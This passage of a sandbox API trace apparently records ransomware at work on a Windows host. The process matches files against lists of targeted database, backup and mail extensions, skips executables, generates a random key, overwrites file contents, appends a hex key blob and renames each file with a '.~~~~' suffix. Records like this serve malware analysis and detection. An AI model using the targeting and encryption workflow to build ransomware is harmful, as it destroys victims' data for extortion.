	[0077.915] lstrlenW (lpString=".DBV") returned 4
	[0077.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".DBV") returned 0x0
	[0077.915] lstrlenW (lpString=".dacpac") returned 7
	[0077.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".dacpac") returned 0x0
	[0077.915] lstrlenW (lpString=".sdf") returned 4
	[0077.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".sdf") returned 0x0
	[0077.915] lstrlenW (lpString=".accdb") returned 6
	[0077.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".accdb") returned 0x0
	[0077.915] lstrlenW (lpString=".DBX") returned 4
	[0077.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".DBX") returned 0x0
	[0077.915] lstrlenW (lpString=".MDT") returned 4
	[0077.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".MDT") returned 0x0
	[0077.915] lstrlenW (lpString=".SQB") returned 4
	[0077.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".SQB") returned 0x0
	[0077.915] lstrlenW (lpString=".vhd") returned 4
	[0077.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".vhd") returned 0x0
	[0077.916] lstrlenW (lpString=".bac") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".bac") returned 0x0
	[0077.916] lstrlenW (lpString=".mdf") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".mdf") returned 0x0
	[0077.916] lstrlenW (lpString=".BAK") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".BAK") returned 0x0
	[0077.916] lstrlenW (lpString=".BAC") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".BAC") returned 0x0
	[0077.916] lstrlenW (lpString=".dbs") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".dbs") returned 0x0
	[0077.916] lstrlenW (lpString=".vhdx") returned 5
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".vhdx") returned 0x0
	[0077.916] lstrlenW (lpString=".NDF") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".NDF") returned 0x0
	[0077.916] lstrlenW (lpString=".dat") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".dat") returned 0x0
	[0077.916] lstrlenW (lpString=".DBS") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".DBS") returned 0x0
	[0077.916] lstrlenW (lpString=".CKP") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".CKP") returned 0x0
	[0077.916] lstrlenW (lpString=".edb") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".edb") returned 0x0
	[0077.916] lstrlenW (lpString=".PST") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".PST") returned 0x0
	[0077.916] lstrlenW (lpString=".dbf") returned 4
	[0077.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".dbf") returned 0x0
	[0077.916] lstrlenW (lpString=".SQL") returned 4
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".SQL") returned 0x0
	[0077.917] lstrlenW (lpString=".pst") returned 4
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".pst") returned 0x0
	[0077.917] lstrlenW (lpString=".dbv") returned 4
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".dbv") returned 0x0
	[0077.917] lstrlenW (lpString=".SDF") returned 4
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".SDF") returned 0x0
	[0077.917] lstrlenW (lpString=".dtxs") returned 5
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".dtxs") returned 0x0
	[0077.917] lstrlenW (lpString=".db3") returned 4
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".db3") returned 0x0
	[0077.917] lstrlenW (lpString=".OST") returned 4
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".OST") returned 0x0
	[0077.917] lstrlenW (lpString=".dbx") returned 4
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".dbx") returned 0x0
	[0077.917] lstrlenW (lpString=".DB3") returned 4
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".DB3") returned 0x0
	[0077.917] lstrlenW (lpString=".DAT") returned 4
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".DAT") returned 0x0
	[0077.917] lstrlenW (lpString=".VHDX") returned 5
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".VHDX") returned 0x0
	[0077.917] lstrlenW (lpString=".ndf") returned 4
	[0077.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".ndf") returned 0x0
	[0077.917] lstrlenW (lpString=".DB") returned 3
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".DB") returned 0x0
	[0077.918] lstrlenW (lpString=".sql") returned 4
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".sql") returned 0x0
	[0077.918] lstrlenW (lpString=".MYD") returned 4
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".MYD") returned 0x0
	[0077.918] lstrlenW (lpString=".DBT") returned 4
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".DBT") returned 0x0
	[0077.918] lstrlenW (lpString=".ACCDB") returned 6
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".ACCDB") returned 0x0
	[0077.918] lstrlenW (lpString=".fdb") returned 4
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".fdb") returned 0x0
	[0077.918] lstrlenW (lpString=".bak") returned 4
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".bak") returned 0x0
	[0077.918] lstrlenW (lpString=".myd") returned 4
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".myd") returned 0x0
	[0077.918] lstrlenW (lpString=".DTXS") returned 5
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".DTXS") returned 0x0
	[0077.918] lstrlenW (lpString=".ckp") returned 4
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".ckp") returned 0x0
	[0077.918] lstrlenW (lpString=".dbt") returned 4
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".dbt") returned 0x0
	[0077.918] lstrlenW (lpString=".db") returned 3
	[0077.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".db") returned 0x0
	[0077.918] lstrlenW (lpString=".TXT") returned 4
	[0077.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".TXT") returned 0x0
	[0077.919] lstrlenW (lpString=".MDF") returned 4
	[0077.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".MDF") returned 0x0
	[0077.919] lstrlenW (lpString=".bdb") returned 4
	[0077.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".bdb") returned 0x0
	[0077.919] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.919] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0077.920] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.920] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.920] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19791035619) returned 1
	[0077.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9857f7f0, dwHighDateTime=0x1d60e1e)) 
	[0077.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a97a0
	[0077.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a97a0 | out: hHeap=0x300000) returned 1
	[0077.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a84c8
	[0077.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.921] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0077.921] GetLastError () returned 0x0
	[0077.921] GetLastError () returned 0x0
	[0077.921] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0077.921] GetLastError () returned 0x0
	[0077.921] GetLastError () returned 0x0
	[0077.922] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.925] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.925] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.927] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.927] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.929] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.929] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.929] CloseHandle (hObject=0x118) returned 1
	[0077.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.930] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.~~~~")) returned 1
	[0077.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.931] GetLastError () returned 0x0
	[0077.931] RtlWakeConditionVariable () returned 0x365f70
	[0077.931] GetCurrentThreadId () returned 0xaf0
	[0077.931] GetCurrentThreadId () returned 0xaf0
	[0077.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7b48
	[0077.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a85f8 | out: hHeap=0x300000) returned 1
	[0077.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a97d8 | out: hHeap=0x300000) returned 1
	[0077.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0077.931] lstrlenW (lpString=".scr") returned 4
	[0077.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".scr") returned 0x0
	[0077.931] lstrlenW (lpString=".cmd") returned 4
	[0077.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".cmd") returned 0x0
	[0077.931] lstrlenW (lpString=".dll") returned 4
	[0077.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".dll") returned 0x0
	[0077.932] lstrlenW (lpString=".bat") returned 4
	[0077.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".bat") returned 0x0
	[0077.932] lstrlenW (lpString=".cpl") returned 4
	[0077.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".cpl") returned 0x0
	[0077.932] lstrlenW (lpString=".sys") returned 4
	[0077.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".sys") returned 0x0
	[0077.932] lstrlenW (lpString=".msc") returned 4
	[0077.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".msc") returned 0x0
	[0077.932] lstrlenW (lpString=".com") returned 4
	[0077.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".com") returned 0x0
	[0077.932] lstrlenW (lpString=".lnk") returned 4
	[0077.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".lnk") returned 0x0
	[0077.932] lstrlenW (lpString=".msp") returned 4
	[0077.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".msp") returned 0x0
	[0077.932] lstrlenW (lpString=".pif") returned 4
	[0077.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".pif") returned 0x0
	[0077.932] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch="msp\r\n.pif") returned 0x0
	[0077.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0077.934] lstrlenW (lpString=".sqb") returned 4
	[0077.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".sqb") returned 0x0
	[0077.934] lstrlenW (lpString=".ost") returned 4
	[0077.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".ost") returned 0x0
	[0077.934] lstrlenW (lpString=".txt") returned 4
	[0077.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".txt") returned 0x0
	[0077.934] lstrlenW (lpString=".mdt") returned 4
	[0077.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".mdt") returned 0x0
	[0077.934] lstrlenW (lpString=".BDB") returned 4
	[0077.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".BDB") returned 0x0
	[0077.934] lstrlenW (lpString=".eql") returned 4
	[0077.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".eql") returned 0x0
	[0077.934] lstrlenW (lpString=".DBF") returned 4
	[0077.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".DBF") returned 0x0
	[0077.935] lstrlenW (lpString=".EQL") returned 4
	[0077.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".EQL") returned 0x0
	[0077.935] lstrlenW (lpString=".FDB") returned 4
	[0077.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".FDB") returned 0x0
	[0077.935] lstrlenW (lpString=".EDB") returned 4
	[0077.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".EDB") returned 0x0
	[0077.935] lstrlenW (lpString=".DACPAC") returned 7
	[0077.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".DACPAC") returned 0x0
	[0077.935] lstrlenW (lpString=".VHD") returned 4
	[0077.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".VHD") returned 0x0
	[0077.935] lstrlenW (lpString=".DBV") returned 4
	[0077.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".DBV") returned 0x0
	[0077.935] lstrlenW (lpString=".dacpac") returned 7
	[0077.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".dacpac") returned 0x0
	[0077.935] lstrlenW (lpString=".sdf") returned 4
	[0077.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".sdf") returned 0x0
	[0077.935] lstrlenW (lpString=".accdb") returned 6
	[0077.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".accdb") returned 0x0
	[0077.935] lstrlenW (lpString=".DBX") returned 4
	[0077.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".DBX") returned 0x0
	[0077.935] lstrlenW (lpString=".MDT") returned 4
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".MDT") returned 0x0
	[0077.936] lstrlenW (lpString=".SQB") returned 4
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".SQB") returned 0x0
	[0077.936] lstrlenW (lpString=".vhd") returned 4
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".vhd") returned 0x0
	[0077.936] lstrlenW (lpString=".bac") returned 4
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".bac") returned 0x0
	[0077.936] lstrlenW (lpString=".mdf") returned 4
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".mdf") returned 0x0
	[0077.936] lstrlenW (lpString=".BAK") returned 4
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".BAK") returned 0x0
	[0077.936] lstrlenW (lpString=".BAC") returned 4
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".BAC") returned 0x0
	[0077.936] lstrlenW (lpString=".dbs") returned 4
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".dbs") returned 0x0
	[0077.936] lstrlenW (lpString=".vhdx") returned 5
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".vhdx") returned 0x0
	[0077.936] lstrlenW (lpString=".NDF") returned 4
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".NDF") returned 0x0
	[0077.936] lstrlenW (lpString=".dat") returned 4
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".dat") returned 0x0
	[0077.936] lstrlenW (lpString=".DBS") returned 4
	[0077.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".DBS") returned 0x0
	[0077.936] lstrlenW (lpString=".CKP") returned 4
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".CKP") returned 0x0
	[0077.937] lstrlenW (lpString=".edb") returned 4
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".edb") returned 0x0
	[0077.937] lstrlenW (lpString=".PST") returned 4
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".PST") returned 0x0
	[0077.937] lstrlenW (lpString=".dbf") returned 4
	[0077.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpSrch=".dbf") returned 0x0
	[0077.937] lstrlenW (lpString=".SQL") returned 4
